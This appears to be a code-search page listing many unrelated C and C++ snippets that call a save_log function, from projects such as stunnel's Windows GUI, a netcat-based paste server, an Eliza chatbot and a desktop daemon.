Пример #1
0
/*
 * \b Main function. Save some data in the log file.
 */
int main(int args, char *argv[])
{
	char *l = "lol";

	save_log(NULL, "Vitor Rozsa! %s, %d, %s\n", l, 123, "lal");
	save_log("teste2", "tetasfafa %s %d %x", "tentadatrive", 904737, l);
	save_log("teste3.log", "adsadasdasda\n");

	return 0;
}
Пример #2
0
void *thread_connection(void *args)
{
    int connection_socket = ((struct thread_arguments *) args ) -> connection_socket;
    struct sockaddr_in client_address = ((struct thread_arguments *) args ) -> client_address;

    struct client_data data = get_client_address(client_address);

    char buffer[BUFSIZE];
    bzero(buffer, BUFSIZE);
    int status = recv(connection_socket, buffer, BUFSIZE, MSG_DONTWAIT);

    if (WHITELIST != NULL && check_whitelist(data.ip_address) == NULL)
    {
        display_info(data, NULL, "Rejected connection from unknown user.");
        save_log(NULL, data.ip_address, data.hostname);
        if (write(connection_socket, "You are not whitelisted!\n", 26) < 0)
          printf("Error writing on stream socket\n");
        close(connection_socket);
        pthread_exit(NULL);
    }

    if (BANLIST != NULL && check_banlist(data.ip_address) != NULL)
    {
        display_info(data, NULL, "Rejected connection from banned user.");
        save_log(NULL, data.ip_address, data.hostname);
        if (write(connection_socket, "You are banned!\n", 17) < 0)
          printf("Error writing on stream socket\n");
        close(connection_socket);
        pthread_exit(NULL);
    }

    if (check_protocol(buffer) == 1)
        status = -1;

    if (status != -1)
    {
        char slug[SLUG_SIZE+8];
        generate_url(buffer, slug, SLUG_SIZE+8, data);
        save_log(slug, data.ip_address, data.hostname);
        char response[strlen(slug) + strlen(DOMAIN) + 2];
        snprintf(response, sizeof response, "%s%s\n", DOMAIN, slug);
        if (write(connection_socket, response, strlen(response)) < 0)
          printf("Error writing on stream socket\n");
    }
    else
    {
        display_info(data, NULL, "Invalid connection.");
        save_log(NULL, data.ip_address, data.hostname);
        if (write(connection_socket, "Use netcat.\n", 12) < 0)
          printf("Error writing on stream socket\n");
    }

    close(connection_socket);
    pthread_exit(NULL);
}
Пример #3
0
/**
 * 服务器错误处理函数.
 * 处理web_errno错误号,控制台打印,清除web_errno.
 * 以较为简单的形式保存到文件.
 * @param EL_ARGS
 */
void web_err_proc(EL_ARGS)
{
	time_t timer = time(NULL );
	struct tm * t = localtime(&timer);
	//错误时间
	char strtime[25] = { 0 };
	//错误描述
	char errstring[MAX_ERR_LOG_LINE_LENTH] = { 0 };
	//错误等级
	if (web_errno<0) {
		web_errno = 0;
		return;
	}
	sprintf(strtime, "%04d-%02d-%02d %02d:%02d:%02d",
	                t->tm_year+1900, t->tm_mon+1, t->tm_mday,
	                t->tm_hour, t->tm_min, t->tm_sec);
	sprintf(errstring, "%s[%d](%s,%s:%d)%s[%d]",
	                 myweberrstr[web_errno],web_errno,
	                file, func, line, strerror(errno),errno);
	if (myweberrstr[web_errno]!=NULL ) {
		printf(WEBS_ERR"%s %s\n", strtime, errstring);
	}
	// 写入文件
	save_log(strtime, errstring, webs_cfg.errlog);
	web_errno = 0;
	return;
}
Пример #4
0
/**
 * 扩展的错误处理函数,支持不定个数参数打印,
 * 使用例子:
 * 	web_err_proc_Ex(EL,"发生了错误.");
 * 	web_err_proc_Ex(EL,"发生了错误,返回值:ret=%d.",iRet);
 * 	web_err_proc_Ex(EL,"发生了错误,返回值:ret=%d value=%f v2=%s"
 * 		,iRet,fValue,strSomeString);
 * @param EL_ARGS (宏) EL (宏)
 * @param format 格式化字符串 + ... 不定参数
 */
void web_err_procEx(EL_ARGS,const char*format, ... )
{
	time_t timer = time(NULL );
	struct tm * t = localtime(&timer);
	//错误时间
	char strtime[25] = { 0 };
	//错误描述 RealErrstring = errstring + errstringEx ;
	char errstring[MAX_ERR_LOG_LINE_LENTH] = { 0 };
	char errstringEx[MAX_ERR_LOG_LINE_LENTH] = { 0 };//扩展的描述信息
	char RealErrstring[MAX_ERR_LOG_LINE_LENTH] = { 0 };
	va_list ap;
	if (web_errno<0) {
		web_errno = 0;
		return;
	}
	sprintf(strtime, "%04d-%02d-%02d %02d:%02d:%02d",
	                t->tm_year+1900, t->tm_mon+1, t->tm_mday,
	                t->tm_hour, t->tm_min, t->tm_sec);
	sprintf(errstring, "%s[%d](%s,%s:%d)%s[%d]",
	                 myweberrstr[web_errno],web_errno,
	                file, func, line, strerror(errno),errno);
	// --- 扩展的字符串
	va_start(ap,format);
	vsprintf( errstringEx,format, ap);
	va_end(ap);
	sprintf(RealErrstring,"%s %s",errstring,errstringEx);
	if (myweberrstr[web_errno]!=NULL ) {
		printf(WEBS_ERR"%s %s\n", strtime, RealErrstring);
	}
	// 写入文件
	save_log(strtime, RealErrstring, webs_cfg.errlog);
	web_errno = 0;
	return;
}
Пример #5
0
void log_server::log(const std::string& msg, const int session_id)
{
	std::stringstream ss;
	ss << "[SID:" << session_id << "]: " << msg << "\n";

	save_log(ss.str());
}
Пример #6
0
void log_server::log_disconnected(const std::string& identifier, const int session_id)
{
	std::stringstream ss;
	ss << "Client disconnected: " << identifier << ", SID: " << session_id << "\n";
	
	save_log(ss.str());
}
Пример #7
0
void log_server::log_connected(const std::string& identifier, const int session_id)
{
	std::stringstream ss;
	ss << "Client connected: " << identifier << ", assigned session id (SID): " << session_id << "\n";
	
	save_log(ss.str());
}
Пример #8
0
// gets input from the user
void Eliza::get_input() {
	//std::cout << "\n\n" << m_sUserName << ": ";
	std::cout << "\n" << ">";
	save_prev_input();
	std::getline(std::cin, m_sInput);
	save_log("USER");
}
Пример #9
0
void access_log::init_log_file( const std::string& file_name )
{
    assert( !file_name.empty() );

    filename_ = file_name;
    if ( !save_log( "logfile initialization complete" ) )
    {
        throw server_log_exception( msg_type::msg_init_access_log_err );
    }
}
Пример #10
0
void Eliza::start() {
	time_t ltime; 
	time(&ltime);
	logfile.open("log.txt", std::ios::out | std::ios::app);
	if(logfile.fail()) {
		throw std::string("can't save conversation log");
	}
	logfile << "\n\nConversation log - " << ctime(&ltime) << std::endl;
	response_list = signOn;
	select_response();
	print_response();
	save_log("ELIZA");
}
Пример #11
0
/**
* Добавление записи в лог славы (время, тип, кол-во, строка из кармы).
*/
void add_log(int type, int num, std::string punish, std::string reason, CHAR_DATA *vict)
{
	if (!vict || !GET_NAME(vict)) return;

	GloryLogPtr temp_node(new GloryLog);
	temp_node->type = type;
	temp_node->num = num;
	std::stringstream out;
	out << GET_NAME(vict) << " : " << punish << " [" << reason << "]";
	temp_node->karma = out.str();
	glory_log.insert(std::make_pair(time(0), temp_node));
	save_log();
}
Пример #12
0
static void genesis_daemon_init (GenesisDaemon *daemon)
{
  GenesisController *controller = NULL;
  GenesisFSMonitor *monitor = NULL;
  GenesisDbusObj *dbusobj = NULL;


  save_log("enter genesis_daemon_init \n");
  controller = genesis_controller_get_singleton ();

  if (!controller)
  {
    save_log ("no controller singleton returned\n");
    exit (EXIT_FAILURE);
  }
  save_log ("controller singleton geted\n");

  genesis_controller_init_application_lists (controller, genesisd.desktop_files_dir);

  monitor = genesis_fs_monitor_get_singleton ();

  if (!monitor)
  {
    save_log ("no monitor singleton returned\n");
    exit (EXIT_FAILURE);
  }
  save_log ("monitor singleton geted\n");

  daemon->controller = controller;
  daemon->monitor = monitor;

  dbusobj = genesis_dbus_daemon_init(daemon);

  daemon->dbusobj = dbusobj;

  genesis_fs_monitor_add (monitor, genesisd.desktop_files_dir, IN_ALL_EVENTS, applications_list_updated, daemon);
  
}
Пример #13
0
EXPORT
void
on_save_history_activate (GtkMenuItem *menuitem, gpointer user_data)
{
	char *name, *log_path, *filename;

	name = warlock_log_get_name ();
	log_path = preferences_get_string (preferences_get_key (PREF_LOG_PATH));
	filename = g_build_filename (log_path, name, NULL);

	save_log (filename);

	g_free (filename);
	g_free (name);
	g_free (log_path);
}
Пример #14
0
void
sigint_handler (void)
{
  int i;

  printf ("^C caught, saving download job...\n");

  for (i = 0; i < nthreads; i++)
    {
      pthread_cancel (wthread[i].tid);
      wthread[i].status &= STAT_INT;	/* Interrupted download */
    }

  save_log ();

  exit (0);
}
Пример #15
0
EXPORT
void
on_save_history_as_activate (GtkMenuItem *menuitem, gpointer user_data)
{
	GtkWidget *dialog;
	char *log_path, *name, *key;

	dialog = gtk_file_chooser_dialog_new ("Save File", GTK_WINDOW
			(glade_xml_get_widget (warlock_xml, "main_window")),
			GTK_FILE_CHOOSER_ACTION_SAVE,
			GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL,
			GTK_STOCK_SAVE, GTK_RESPONSE_ACCEPT,
			NULL);
	gtk_file_chooser_set_do_overwrite_confirmation (GTK_FILE_CHOOSER
			(dialog), TRUE);

	key = preferences_get_key (PREF_LOG_PATH);
	log_path = preferences_get_string (key);
	g_free (key);
	(void)gtk_file_chooser_set_current_folder (GTK_FILE_CHOOSER (dialog),
			log_path);
	g_free (log_path);

	name = warlock_log_get_name ();
	gtk_file_chooser_set_current_name (GTK_FILE_CHOOSER (dialog), name);
	g_free (name);

	if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_ACCEPT) {
		char *filename;

		filename = gtk_file_chooser_get_filename (GTK_FILE_CHOOSER
				(dialog));
		save_log (filename);
		g_free (filename);
	}

	gtk_widget_destroy (dialog);
}
Пример #16
0
// these function finds and display a response 
// to the current input of the user.
void Eliza::respond() {
	preProcessInput();

	save_prev_responses();
	save_prev_response();

	if(null_input()) {
		handle_null_input();
	} else if(user_repeat()) {
		handle_user_repetition();
	} else {
		reset_repeat_count();
		find_response();
	}
	
	select_response();
	preProcessResponse();
	check_quit_message();
	handle_repetition();
	
	print_response();
	save_log("ELIZA");
}
Пример #17
0
int LR_parser::Parse(Grammer_Node* root)
{
    auto& fout = DebugMsg::parser_dbg();
    // print debug message
    if (DebugMsg::isDebug()) {
        vmap.printAll();
        fout << "=========== BNF ===========" << endl;
        for (auto bnf : bnflist)
            bnf->print_bnf();
        table->printTable();
    }
    core.setLex(lex);
    core.setBnflist(&bnflist);
    core.setTable(table);
    core.setVMap(&vmap);
    core.setAst(root);
    Grammer_Node* node = core.Run();
	save_log();
    DebugMsg::parser_close();
    if (node != (void*)-1)
        return 0;
    return -1;
}
Пример #18
0
int main (int argc, char **argv)
{
	GenesisDaemon *daemon = NULL;
	GMainLoop *loop;
	GError *error = NULL;
	GOptionContext *context;
  
	genesisd.no_daemon = FALSE;
	genesisd.desktop_files_dir = DEFAULT_DESKTOP_DIR;

	context = g_option_context_new ("- Genesis : Life Cycle Manager");
	g_option_context_add_main_entries (context, opt_entries, NULL);
	if (!g_option_context_parse (context, &argc, &argv, &error)){
		g_print ("option parsing failed: %s\n", error->message);
		return -1;
	}

	if (!genesisd.no_daemon){
		pid_t pid, sid;
  
		pid = fork ();
		if (pid > 0)
			exit (EXIT_SUCCESS);
		else if (pid < 0)
			exit (EXIT_FAILURE);

		umask (0);

		sid = setsid ();
		if (sid < 0){
			save_log ("setsid : exit (EXIT_FAILURE)\n");
			exit (EXIT_FAILURE);
		}

		if (chdir ("/") < 0){
			save_log ("chdir : exit (EXIT_FAILURE)\n");
			exit (EXIT_FAILURE);
		}

		//close (STDIN_FILENO);
		close (STDOUT_FILENO);
		close (STDERR_FILENO);
	}

#ifndef ENABLE_SPLASH
  	g_type_init ();
#else
  gtk_init(&argc, &argv);
#endif

  if (!g_thread_supported ())
    g_thread_init (NULL);
  
  daemon = g_new0 (GenesisDaemon, 1);

  g_print("in main, start to call genesis_daemon_init\n");

  save_log("in main, start to call genesis_daemon_init\n");

  genesis_daemon_init (daemon);

  save_log ("in main, after call genesis_daemon_init\n");
  loop = g_main_loop_new (NULL, FALSE);

  g_main_loop_run (loop);

  save_log ("quit from main loop\n");
  
  if (daemon)
    g_free (daemon);

  return 0;
}
Пример #19
0
int main()
{
    bool gameover = false;
    clock_t t1,t2;
    float diff,seconds; 
    int action;
    int count = 1;
    
    if( connect_RL() ) 
    {
        Q = (float***) std::malloc(sizeof(float**) * num_actions);
        for(int i = 0; i < num_actions; i++)
        {
            Q[i] = (float**) std::malloc(sizeof(float*) * NUM_ROWS);
            for(int ir = 0; ir < NUM_ROWS; ir++)
            {
                Q [i][ir] =  (float*) std::malloc(sizeof(float) * NUM_COLS);
            }
        }
        //Allocate space to world map
        wordl_map = (char**) std::malloc(sizeof(char*) * NUM_ROWS);
        eligibility =  (float**) std::malloc(sizeof(float*) * NUM_ROWS);
        parameter_vector =  (float**) std::malloc(sizeof(float*) * NUM_ROWS);
        for(int i = 0; i < NUM_ROWS; i++)
        {
            wordl_map[i] = (char*) std::malloc(sizeof(char) * NUM_COLS);
            eligibility[i] =  (float*) std::malloc(sizeof(float) * NUM_COLS);
            parameter_vector[i] =  (float*) std::malloc(sizeof(float) * NUM_COLS);
        }
        //Allocate space for players positions
        x = (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        y = (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        r = (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        speed = (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        alive = (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        teams =  (int*) std::malloc(sizeof(int) * NUM_PLAYERS);
        counts =  (int*) std::malloc(sizeof(int) * num_actions);

        //Game loop
        while( !gameover )
        {
            gameover = update_Map();
            if ( !gameover )
            {  //Updates players' information
               gameover = update_Players();
            }
            t1=clock();
            // AI agents get next action 
            action = next_action();
            /* Print action to send to server */
            std::cout << action;
            count++;
            if ( count % 1000 )
            {
                count = 1;  
                save_log();
            }
        }
    }
    return 0;
}
Пример #20
0
NOEXPORT LRESULT CALLBACK window_proc(HWND main_window_handle,
        UINT message, WPARAM wParam, LPARAM lParam) {
    POINT pt;
    RECT rect;
    PAINTSTRUCT ps;
    SERVICE_OPTIONS *section;
    unsigned section_number;
    LPTSTR txt;

#if 0
    switch(message) {
    case WM_CTLCOLORSTATIC:
    case WM_TIMER:
    case WM_LOG:
        break;
    default:
        s_log(LOG_DEBUG, "Window message: 0x%x(0x%hx,0x%lx)",
            message, wParam, lParam);
    }
#endif
    switch(message) {
    case WM_CREATE:
#ifdef _WIN32_WCE
        /* create command bar */
        command_bar_handle=CommandBar_Create(ghInst, main_window_handle, 1);
        if(!command_bar_handle)
            error_box(TEXT("CommandBar_Create"));
        if(!CommandBar_InsertMenubar(command_bar_handle, ghInst, IDM_MAINMENU, 0))
            error_box(TEXT("CommandBar_InsertMenubar"));
        if(!CommandBar_AddAdornments(command_bar_handle, 0, 0))
            error_box(TEXT("CommandBar_AddAdornments"));
#endif

        /* create child edit window */
        edit_handle=CreateWindowEx(WS_EX_STATICEDGE, TEXT("EDIT"), NULL,
            WS_CHILD|WS_VISIBLE|WS_HSCROLL|WS_VSCROLL|ES_MULTILINE|ES_READONLY,
            0, 0, 0, 0, main_window_handle, (HMENU)IDE_EDIT, ghInst, NULL);
#ifndef _WIN32_WCE
        SendMessage(edit_handle, WM_SETFONT,
            (WPARAM)CreateFont(-12, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE,
                DEFAULT_CHARSET, OUT_RASTER_PRECIS, CLIP_DEFAULT_PRECIS,
                PROOF_QUALITY, DEFAULT_PITCH, TEXT("Courier")),
            MAKELPARAM(FALSE, 0)); /* no need to redraw right now */
#endif
        /* NOTE: there's no return statement here -> proceeding with resize */

    case WM_SIZE:
        GetClientRect(main_window_handle, &rect);
#ifdef _WIN32_WCE
        MoveWindow(edit_handle, 0, CommandBar_Height(command_bar_handle),
            rect.right, rect.bottom-CommandBar_Height(command_bar_handle),
            TRUE);
        SendMessage(command_bar_handle, TB_AUTOSIZE, 0L, 0L);
        CommandBar_AlignAdornments(command_bar_handle);
#else
        MoveWindow(edit_handle, 0, 0, rect.right, rect.bottom, TRUE);
#endif
        UpdateWindow(edit_handle);
        /* CommandBar_Show(command_bar_handle, TRUE); */
        return 0;

    case WM_SETFOCUS:
        SetFocus(edit_handle);
        return 0;

    case WM_PAINT:
        BeginPaint(hwnd, &ps);
        EndPaint(hwnd, &ps);
        break;

    case WM_CLOSE:
        ShowWindow(main_window_handle, SW_HIDE);
        return 0;

#ifdef WM_SHOWWINDOW
    case WM_SHOWWINDOW:
        visible=(BOOL)wParam;
#else /* this works for Pierre Delaage, but not for me... */
    case WM_WINDOWPOSCHANGED:
        visible=IsWindowVisible(main_window_handle);
#endif
        if(tray_menu_handle)
            CheckMenuItem(tray_menu_handle, IDM_SHOW_LOG,
                visible ? MF_CHECKED : MF_UNCHECKED);
        if(visible)
            update_logs();
#ifdef WM_SHOWWINDOW
        return 0;
#else
        break; /* proceed to DefWindowProc() */
#endif

    case WM_DESTROY:
#ifdef _WIN32_WCE
        CommandBar_Destroy(command_bar_handle);
#else
        if(main_menu_handle) {
            if(!DestroyMenu(main_menu_handle))
                ioerror("DestroyMenu");
            main_menu_handle=NULL;
        }
#endif
        tray_delete(); /* remove the taskbark icon if exists */
        PostQuitMessage(0);
        return 0;

    case WM_COMMAND:
        if(wParam>=IDM_PEER_MENU && wParam<IDM_PEER_MENU+number_of_sections) {
            for(section=service_options.next, section_number=0;
                    section && wParam!=IDM_PEER_MENU+section_number;
                    section=section->next, ++section_number)
                ;
            if(!section)
                return 0;
            if(save_text_file(section->file, section->chain))
                return 0;
#ifndef _WIN32_WCE
            if(main_menu_handle)
                CheckMenuItem(main_menu_handle, (UINT)wParam, MF_CHECKED);
#endif
            if(tray_menu_handle)
                CheckMenuItem(tray_menu_handle, (UINT)wParam, MF_CHECKED);
            message_box(section->help, MB_ICONINFORMATION);
            return 0;
        }
        switch(wParam) {
        case IDM_ABOUT:
            DialogBox(ghInst, TEXT("AboutBox"), main_window_handle,
                (DLGPROC)about_proc);
            break;
        case IDM_SHOW_LOG:
            if(visible) {
                ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            } else {
                ShowWindow(main_window_handle, SW_SHOWNORMAL); /* show window */
                SetForegroundWindow(main_window_handle); /* bring on top */
            }
            break;
        case IDM_CLOSE:
            ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            break;
        case IDM_EXIT:
            if(num_clients>=0) /* signal_pipe is active */
                signal_post(SIGNAL_TERMINATE);
            DestroyWindow(main_window_handle);
            break;
        case IDM_SAVE_LOG:
            if(!cmdline.service) /* security */
                save_log();
            break;
        case IDM_EDIT_CONFIG:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                edit_config(main_window_handle);
#endif
            break;
        case IDM_RELOAD_CONFIG:
            if(num_clients>=0) /* signal_pipe is active */
                signal_post(SIGNAL_RELOAD_CONFIG);
            else
                SetEvent(config_ready); /* unlock daemon_thread() */
            break;
        case IDM_REOPEN_LOG:
            signal_post(SIGNAL_REOPEN_LOG);
            break;
        case IDM_MANPAGE:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                ShellExecute(main_window_handle, TEXT("open"),
                    TEXT("..\\doc\\stunnel.html"), NULL, NULL, SW_SHOWNORMAL);
#endif
            break;
        case IDM_HOMEPAGE:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                ShellExecute(main_window_handle, TEXT("open"),
                    TEXT("http://www.stunnel.org/"), NULL, NULL, SW_SHOWNORMAL);
#endif
            break;
        }
        return 0;

    case WM_SYSTRAY: /* a taskbar event */
        switch(lParam) {
#ifdef _WIN32_WCE
        case WM_LBUTTONDOWN: /* no right mouse button on Windows CE */
            GetWindowRect(GetDesktopWindow(), &rect); /* no cursor position */
            pt.x=rect.right;
            pt.y=rect.bottom-25;
#else
        case WM_RBUTTONDOWN:
            GetCursorPos(&pt);
#endif
            SetForegroundWindow(main_window_handle);
            if(tray_menu_handle)
                TrackPopupMenuEx(GetSubMenu(tray_menu_handle, 0),
                    TPM_BOTTOMALIGN, pt.x, pt.y, main_window_handle, NULL);
            PostMessage(main_window_handle, WM_NULL, 0, 0);
            break;
#ifndef _WIN32_WCE
        case WM_LBUTTONDBLCLK: /* switch log window visibility */
            if(visible) {
                ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            } else {
                ShowWindow(main_window_handle, SW_SHOWNORMAL); /* show window */
                SetForegroundWindow(main_window_handle); /* bring on top */
            }
            break;
#endif
        }
        return 0;

    case WM_VALID_CONFIG:
        valid_config();
        return 0;

    case WM_INVALID_CONFIG:
        invalid_config();
        return 0;

    case WM_LOG:
        txt=(LPTSTR)wParam;
        win_log(txt);
        str_free(txt);
        return 0;

    case WM_NEW_CHAIN:
#ifndef _WIN32_WCE
        if(main_menu_handle)
            EnableMenuItem(main_menu_handle,
                (UINT)(IDM_PEER_MENU+wParam), MF_ENABLED);
#endif
        if(tray_menu_handle)
            EnableMenuItem(tray_menu_handle,
                (UINT)(IDM_PEER_MENU+wParam), MF_ENABLED);
        return 0;

    case WM_CLIENTS:
        tray_update((int)wParam);
        return 0;
    }

    return DefWindowProc(main_window_handle, message, wParam, lParam);
}
Пример #21
0
NOEXPORT LRESULT CALLBACK window_proc(HWND main_window_handle,
        UINT message, WPARAM wParam, LPARAM lParam) {
    NOTIFYICONDATA nid;
    POINT pt;
    RECT rect;
    SERVICE_OPTIONS *section;
    unsigned int section_number;

#if 0
    if(message!=WM_CTLCOLORSTATIC && message!=WM_TIMER)
        s_log(LOG_DEBUG, "Window message: %d", message);
#endif
    switch(message) {
    case WM_CREATE:
#ifdef _WIN32_WCE
        /* create command bar */
        command_bar_handle=CommandBar_Create(ghInst, main_window_handle, 1);
        if(!command_bar_handle)
            error_box("CommandBar_Create");
        if(!CommandBar_InsertMenubar(command_bar_handle, ghInst, IDM_MAINMENU, 0))
            error_box("CommandBar_InsertMenubar");
        if(!CommandBar_AddAdornments(command_bar_handle, 0, 0))
            error_box("CommandBar_AddAdornments");
#endif

        /* create child edit window */
        edit_handle=CreateWindow(TEXT("EDIT"), NULL,
            WS_CHILD|WS_VISIBLE|WS_HSCROLL|WS_VSCROLL|ES_MULTILINE|ES_READONLY,
            0, 0, 0, 0, main_window_handle, (HMENU)IDE_EDIT, ghInst, NULL);
#ifndef _WIN32_WCE
        SendMessage(edit_handle, WM_SETFONT,
            (WPARAM)CreateFont(-12, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE,
                DEFAULT_CHARSET, OUT_RASTER_PRECIS, CLIP_DEFAULT_PRECIS,
                PROOF_QUALITY, DEFAULT_PITCH, TEXT("Courier")),
            MAKELPARAM(FALSE, 0)); /* no need to redraw right, now */
#endif
        /* NOTE: there's no return statement here -> proceeding with resize */

    case WM_SIZE:
        GetClientRect(main_window_handle, &rect);
#ifdef _WIN32_WCE
        MoveWindow(edit_handle, 0, CommandBar_Height(command_bar_handle),
            rect.right, rect.bottom-CommandBar_Height(command_bar_handle), TRUE);
#else
        MoveWindow(edit_handle, 0, 0, rect.right, rect.bottom, TRUE);
#endif
        UpdateWindow(edit_handle);
        /* CommandBar_Show(command_bar_handle, TRUE); */
        return TRUE;

    case WM_SETFOCUS:
        SetFocus(edit_handle);
        return TRUE;

    case WM_TIMER:
        if(visible)
            update_logs();
        return TRUE;

    case WM_CLOSE:
        ShowWindow(main_window_handle, SW_HIDE);
        return TRUE;

    case WM_SHOWWINDOW:
        visible=wParam; /* setup global variable */
        if(tray_menu_handle)
            CheckMenuItem(tray_menu_handle, IDM_SHOW_LOG,
                visible ? MF_CHECKED : MF_UNCHECKED);
        if(visible)
            update_logs();
        return TRUE;

    case WM_DESTROY:
#ifdef _WIN32_WCE
        CommandBar_Destroy(command_bar_handle);
#else
        if(main_menu_handle)
            DestroyMenu(main_menu_handle);
#endif
        if(tray_menu_handle)
            DestroyMenu(tray_menu_handle);
        ZeroMemory(&nid, sizeof nid);
        nid.cbSize=sizeof nid;
        nid.hWnd=main_window_handle;
        nid.uID=1;
        nid.uFlags=NIF_TIP; /* not really sure what to put here, but it works */
        Shell_NotifyIcon(NIM_DELETE, &nid); /* this removes the icon */
        PostQuitMessage(0);
        KillTimer(main_window_handle, 0x29a);
        return TRUE;

    case WM_COMMAND:
        if(wParam>=IDM_PEER_MENU && wParam<IDM_PEER_MENU+number_of_sections) {
            for(section=service_options.next, section_number=0;
                    section && wParam!=IDM_PEER_MENU+section_number;
                    section=section->next, ++section_number)
                ;
            if(!section)
                return TRUE;
            if(save_text_file(section->file, section->chain))
                return TRUE;
#ifndef _WIN32_WCE
            if(main_menu_handle)
                CheckMenuItem(main_menu_handle, wParam, MF_CHECKED);
#endif
            if(tray_menu_handle)
                CheckMenuItem(tray_menu_handle, wParam, MF_CHECKED);
            message_box(section->help, MB_ICONINFORMATION);
            return TRUE;
        }
        switch(wParam) {
        case IDM_ABOUT:
            DialogBox(ghInst, TEXT("AboutBox"), main_window_handle,
                (DLGPROC)about_proc);
            break;
        case IDM_SHOW_LOG:
            if(visible) {
                ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            } else {
                ShowWindow(main_window_handle, SW_SHOWNORMAL); /* show window */
                SetForegroundWindow(main_window_handle); /* bring on top */
            }
            break;
        case IDM_CLOSE:
            ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            break;
        case IDM_EXIT:
            if(!error_mode) /* signal_pipe is active */
                signal_post(SIGNAL_TERMINATE);
            DestroyWindow(main_window_handle);
            break;
        case IDM_SAVE_LOG:
            if(!cmdline.service) /* security */
                save_log();
            break;
        case IDM_EDIT_CONFIG:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                edit_config(main_window_handle);
#endif
            break;
        case IDM_RELOAD_CONFIG:
            if(error_mode) /* unlock daemon_thread */
                SetEvent(config_ready);
            else /* signal_pipe is active */
                signal_post(SIGNAL_RELOAD_CONFIG);
            break;
        case IDM_REOPEN_LOG:
            signal_post(SIGNAL_REOPEN_LOG);
            break;
        case IDM_MANPAGE:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                ShellExecute(main_window_handle, TEXT("open"),
                    TEXT("stunnel.html"), NULL, NULL, SW_SHOWNORMAL);
#endif
            break;
        case IDM_HOMEPAGE:
#ifndef _WIN32_WCE
            if(!cmdline.service) /* security */
                ShellExecute(main_window_handle, TEXT("open"),
                    TEXT("http://www.stunnel.org/"), NULL, NULL, SW_SHOWNORMAL);
#endif
            break;
        }
        return TRUE;

    case WM_SYSTRAY: /* a taskbar event */
        switch(lParam) {
#ifdef _WIN32_WCE
        case WM_LBUTTONDOWN: /* no right mouse button on Windows CE */
            GetWindowRect(GetDesktopWindow(), &rect); /* no cursor position */
            pt.x=rect.right;
            pt.y=rect.bottom-25;
#else
        case WM_RBUTTONDOWN:
            GetCursorPos(&pt);
#endif
            SetForegroundWindow(main_window_handle);
            TrackPopupMenuEx(GetSubMenu(tray_menu_handle, 0), TPM_BOTTOMALIGN,
                pt.x, pt.y, main_window_handle, NULL);
            PostMessage(main_window_handle, WM_NULL, 0, 0);
            break;
#ifndef _WIN32_WCE
        case WM_LBUTTONDBLCLK: /* switch log window visibility */
            if(visible) {
                ShowWindow(main_window_handle, SW_HIDE); /* hide window */
            } else {
                ShowWindow(main_window_handle, SW_SHOWNORMAL); /* show window */
                SetForegroundWindow(main_window_handle); /* bring on top */
            }
            break;
#endif
        }
        return TRUE;

    case WM_VALID_CONFIG:
        valid_config();
        return TRUE;

    case WM_INVALID_CONFIG:
        invalid_config();
        return TRUE;

    case WM_LOG:
        win_log((LPSTR)wParam);
        return TRUE;

    case WM_NEW_CHAIN:
#ifndef _WIN32_WCE
        if(main_menu_handle)
            EnableMenuItem(main_menu_handle, IDM_PEER_MENU+wParam, MF_ENABLED);
#endif
        if(tray_menu_handle)
            EnableMenuItem(tray_menu_handle, IDM_PEER_MENU+wParam, MF_ENABLED);
        return TRUE;

    case WM_CLIENTS:
        update_tray_icon((int)wParam);
        return TRUE;
    }

    return DefWindowProc(main_window_handle, message, wParam, lParam);
}
Пример #22
0
static gboolean applications_list_updated (GenesisFSMonitor *monitor, const gchar *path,
                                           GenesisFSMonitorEventType type, gpointer data)
{
  gchar *desktop_entry = NULL;
  GenesisController *controller = genesis_controller_get_singleton ();
  GenesisAppEntry *entry = NULL;
  gchar *nth_desktop_entry = NULL;
  guint n = 0;

  save_log ("event %d happened to %s\n", type, path);

  if (!path && !g_str_has_suffix (path, DESKTOP_FILE_SUFFIX))
    return FALSE;

//FIXME: just a test code for sending out event here. need to come back and refine it.
  genesis_dbusobj_emit_signal(  ( (GenesisDaemon*)data)->dbusobj,
  			E_SIGNAL_GENESIS_ENTRY_UPDATED, "Entry Updated");

  desktop_entry = g_strdup (path);
  switch (type)
  {
    case EVENT_MODIFIED:
      do
      {
        entry = genesis_controller_get_nth_entry (controller, n);

        if (!entry)
          break;

        g_object_get (G_OBJECT(entry), "desktop_entry", &nth_desktop_entry, NULL);

        if (!g_ascii_strcasecmp (nth_desktop_entry, desktop_entry))
        {
          genesis_controller_remove_entry (controller, entry);
          break;
        }

        n++;
      }while (1);

      entry = g_object_new (GENESIS_TYPE_APP_ENTRY, "desktop_entry", desktop_entry, NULL);

      genesis_controller_add_entry (controller, entry);
      g_signal_emit_by_name (controller, "app-entry-updated", type, desktop_entry);
      break;
    case EVENT_REMOVED:
      do
      {
        entry = genesis_controller_get_nth_entry (controller, n);

        if (!entry)
          break;

        g_object_get (G_OBJECT(entry), "desktop_entry", &nth_desktop_entry, NULL);

        if (!g_ascii_strcasecmp (nth_desktop_entry, desktop_entry))
        {
          genesis_controller_remove_entry (controller, entry);
          g_signal_emit_by_name (controller, "app-entry-updated", type, desktop_entry);
          break;
        }

        n++;
      }while (1);
      break;
    case EVENT_CREATED:
      entry = g_object_new (GENESIS_TYPE_APP_ENTRY, "desktop_entry", desktop_entry, NULL);

      genesis_controller_add_entry (controller, entry);
      g_signal_emit_by_name (controller, "app-entry-updated", type, desktop_entry);
      break;
    default:
      break;
  }

  return TRUE;
}
Пример #23
0
DWORD WINAPI logger(void)
{

	wcscpy_s(log_file, save_log());

